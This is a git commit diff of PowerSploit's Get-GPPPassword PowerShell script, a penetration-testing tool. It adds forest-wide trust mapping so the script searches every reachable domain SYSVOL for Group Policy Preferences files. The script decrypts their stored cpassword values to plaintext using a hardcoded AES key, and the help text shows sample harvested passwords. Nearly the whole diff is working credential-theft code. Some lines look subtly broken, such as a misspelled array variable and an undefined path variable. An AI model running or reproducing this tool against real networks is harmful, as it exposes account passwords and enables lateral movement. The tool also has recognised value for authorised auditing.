aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration
diff options
context:
space:
mode:
authorHarmJ0y <will@harmj0y.net>2017-01-07 20:32:14 -0500
committerHarmJ0y <will@harmj0y.net>2017-01-07 20:32:14 -0500
commit5500a7e1311662a8e88d1361ef0d8ab86f8f35b5 (patch)
treed9b93ce69796773cbdf3cf3d4e956d9caeb92045 /Exfiltration
parent94438eda67711e2803b40a093bd4b38568c134ec (diff)
downloadPowerSploit-5500a7e1311662a8e88d1361ef0d8ab86f8f35b5.tar.gz
PowerSploit-5500a7e1311662a8e88d1361ef0d8ab86f8f35b5.zip
Fix for issue #170
Added -SearchForest to search all reachable domain trust \SYSVOL\'s Each password is now output as a separate object.
Diffstat (limited to 'Exfiltration')
-rw-r--r--Exfiltration/Get-GPPPassword.ps1462
1 files changed, 279 insertions, 183 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 0c03e0a..bb58667 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -2,246 +2,342 @@ function Get-GPPPassword {
<#
.SYNOPSIS
- Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
-
- PowerSploit Function: Get-GPPPassword
- Author: Chris Campbell (@obscuresec)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
-
+Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
+
+PowerSploit Function: Get-GPPPassword
+Author: Chris Campbell (@obscuresec)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
.DESCRIPTION
- Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
+Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server
-
- Specify the domain controller to search for.
- Default's to the users current domain
+
+Specify the domain controller to search for.
+Default's to the users current domain
+
+.PARAMETER SearchForest
+
+Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE
- PS C:\> Get-GPPPassword
-
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
-
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
-
- NewName : [BLANK]
- Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
- Passwords : {password, password1234$}
- UserNames : {administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
-
- NewName : [BLANK]
- Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
- Passwords : {password, read123}
- UserNames : {DEMO\Administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
+Get-GPPPassword
+
+NewName : [BLANK]
+Changed : {2014-02-21 05:28:53}
+Passwords : {password12}
+UserNames : {test1}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
+
+NewName : {mspresenters}
+Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
+Passwords : {Recycling*3ftw!, password123, password1234}
+UserNames : {Administrator (built-in), DummyAccount, dummy2}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
+
+NewName : [BLANK]
+Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
+Passwords : {password, password1234$}
+UserNames : {administrator, admin}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
+
+NewName : [BLANK]
+Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
+Passwords : {password, read123}
+UserNames : {DEMO\Administrator, admin}
+File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
- PS C:\> Get-GPPPassword -Server EXAMPLE.COM
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
+Get-GPPPassword -Server EXAMPLE.COM
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
+NewName : [BLANK]
+Changed : {2014-02-21 05:28:53}
+Passwords : {password12}
+UserNames : {test1}
+File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
+
+NewName : {mspresenters}
+Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
+Passwords : {Recycling*3ftw!, password123, password1234}
+UserNames : {Administrator (built-in), DummyAccount, dummy2}
+File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
- PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
-
- password
- password12
- password123
- password1234
- password1234$
- read123
- Recycling*3ftw!
+Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
+
+password
+password12
+password123
+password1234
+password1234$
+read123
+Recycling*3ftw!
.LINK
-
- http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
- https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
- http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
- http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
+
+http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
+https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
+http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
-
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param (
- [ValidateNotNullOrEmpty()]
- [String]
- $Server = $Env:USERDNSDOMAIN
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Server = $Env:USERDNSDOMAIN,
+
+ [Switch]
+ $SearchForest
)
-
- #Some XML issues between versions
- Set-StrictMode -Version 2
-
- #define helper function that decodes and decrypts password
+
+ # define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
- [string] $Cpassword
+ [string] $Cpassword
)
try {
- #Append appropriate padding based on string length
+ #Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
-
+
switch ($Mod) {
- '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
- '2' {$Cpassword += ('=' * (4 - $Mod))}
- '3' {$Cpassword += ('=' * (4 - $Mod))}
+ '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
+ '2' {$Cpassword += ('=' * (4 - $Mod))}
+ '3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
-
+
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
-
+
#Set IV to all nulls to prevent dynamic generation of IV value
- $AesIV = New-Object Byte[]($AesObject.IV.Length)
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
- $DecryptorObject = $AesObject.CreateDecryptor()
+ $DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
-
+
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
- }
-
- catch {Write-Error $Error[0]}
- }
-
- #define helper function to parse fields from xml files
- function Get-GPPInnerFields {
+ }
+
+ catch { Write-Error $Error[0] }
+ }
+
+ # helper function to parse fields from xml files
+ function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)
-
+
try {
-
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
- #declare empty arrays
- $Cpassword = @()
- $UserName = @()
- $NewName = @()
- $Changed = @()
- $Password = @()
-
- #check for password field
- if ($Xml.innerxml -like "*cpassword*"){
-
- Write-Verbose "Potential password in $File"
-
- switch ($Filename) {
-
- 'Groups.xml' {
- $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
-
- 'Services.xml' {
- $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
-
- 'Scheduledtasks.xml' {
- $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
-
- 'DataSources.xml' {
- $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ # check for the cpassword field
+ if ($Xml.innerxml -match 'cpassword') {
+
+ $Xml.GetElementsByTagName('Properties') | ForEach-Object {
+ if ($_.cpassword) {
+ $Cpassword = $_.cpassword
+ if ($Cpassword -and ($Cpassword -ne '')) {
+ $DecryptedPassword = Get-DecryptedCpassword $Cpassword
+ $Password = $DecryptedPassword
+ Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
+ }
+
+ if ($_.newName) {
+ $NewName = $_.newName
+ }
+
+ if ($_.userName) {
+ $UserName = $_.userName
+ }
+ elseif ($_.accountName) {
+ $UserName = $_.accountName
+ }
+ elseif ($_.runAs) {
+ $UserName = $_.runAs
+ }
+
+ try {
+ $Changed = $_.ParentNode.changed
+ }
+ catch {
+ Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
+ }
+
+ try {
+ $NodeName = $_.ParentNode.ParentNode.LocalName
+ }
+ catch {
+ Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
+ }
+
+ if (!($Password)) {$Password = '[BLANK]'}
+ if (!($UserName)) {$UserName = '[BLANK]'}
+ if (!($Changed)) {$Changed = '[BLANK]'}
+ if (!($NewName)) {$NewName = '[BLANK]'}
+
+ $GPPPassword = New-Object PSObject
+ $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
+ $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
+ $GPPPassword | Add-Member Noteproperty 'Password' $Password
+ $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
+ $GPPPassword | Add-Member Noteproperty 'File' $File
+ $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
+ $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
+ $GPPPassword
}
-
- 'Printers.xml' {
- $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+ }
+ }
+ catch {
+ Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
+ }
+ }
+
+ # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
+ function Get-DomainTrust {
+ [CmdletBinding()]
+ Param (
+ $Domain
+ )
+
+ if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
+ try {
+ $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
+ $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ if ($DomainObject) {
+ $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
+ }
+ }
+ catch {
+ Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
+ }
+
+ try {
+ $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ if ($ForestObject) {
+ $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
+ }
+ }
+ catch {
+ Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
+ }
+ }
+ }
+
+ # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
+ function Get-DomainTrustMapping {
+ [CmdletBinding()]
+ Param ()
+
+ # keep track of domains seen so we don't hit infinite recursion
+ $SeenDomains = @{}
+
+ # our domain stack tracker
+ $Domains = New-Object System.Collections.Stack
+
+ try {
+ $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
+ $CurrentDomain
+ }
+ catch {
+ Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
+ }
+
+ if ($CurrentDomain -and $CurrentDomain -ne '') {
+ $Domains.Push($CurrentDomain)
+
+ while($Domains.Count -ne 0) {
+
+ $Domain = $Domains.Pop()
+
+ # if we haven't seen this domain before
+ if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
+
+ Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
+
+ # mark it as seen in our list
+ $Null = $SeenDomains.Add($Domain, '')
+
+ try {
+ # get all the domain/forest trusts for this domain
+ Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
+ # only output if we haven't already seen this domain and if it's pingable
+ if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
+ $Null = $Domains.Push($_)
+ $_
+ }
+ }
}
-
- 'Drives.xml' {
- $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ catch {
+ Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
- }
-
- foreach ($Pass in $Cpassword) {
- Write-Verbose "Decrypting $Pass"
- $DecryptedPassword = Get-DecryptedCpassword $Pass
- Write-Verbose "Decrypted a password of $DecryptedPassword"
- #append any new passwords to array
- $Password += , $DecryptedPassword
- }
-
- #put [BLANK] in variables
- if (!($Password)) {$Password = '[BLANK]'}
- if (!($UserName)) {$UserName = '[BLANK]'}
- if (!($Changed)) {$Changed = '[BLANK]'}
- if (!($NewName)) {$NewName = '[BLANK]'}
-
- #Create custom object to output results
- $ObjectProperties = @{'Passwords' = $Password;
- 'UserNames' = $UserName;
- 'Changed' = $Changed;
- 'NewName' = $NewName;
- 'File' = $File}
-
- $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
- Write-Verbose "The password is between {} and may be more than one value."
- if ($ResultsObject) {Return $ResultsObject}
+ }
}
-
- catch {Write-Error $Error[0]}
}
-
+
try {
- #ensure that machine is domain joined and script is running as a domain account
- if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
- throw 'Machine is not a domain member or User is not a member of the domain.'
+ $XMlFiles = @()
+ $Domains = @()
+
+ # discover any locally cached GPP .xml files
+ Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
+ $MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
+
+ if ($SearchForest) {
+ Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
+ $Domains += Get-DomainTrustMapping
}
+ else {
+ if ($Server) {
+ $Domains += , $Server
+ }
+ else {
+ # in case we're in a SYSTEM context
+ $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
+ }
+ }
+
+ $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
+
+ ForEach ($Domain in $Domains) {
+ # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
+ Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
+ $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
+
+ if($DomainXMLFiles) {
+ $XMlFiles += $DomainXMLFiles
+ }
+ }
+
+ if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
+
+ Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
- #discover potential files containing passwords ; not complaining in case of denied access to a directory
- Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
- $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
-
- if ( -not $XMlFiles ) {throw 'No preference files found.'}
-
- Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
-
- foreach ($File in $XMLFiles) {
- $Result = (Get-GppInnerFields $File.Fullname)
- Write-Output $Result
+ ForEach ($File in $XMLFiles) {
+ $Result = (Get-GppInnerField $File.Fullname)
+ $Result
}
}
- catch {Write-Error $Error[0]}
-}
+ catch { Write-Error $Error[0] }
+} \ No newline at end of file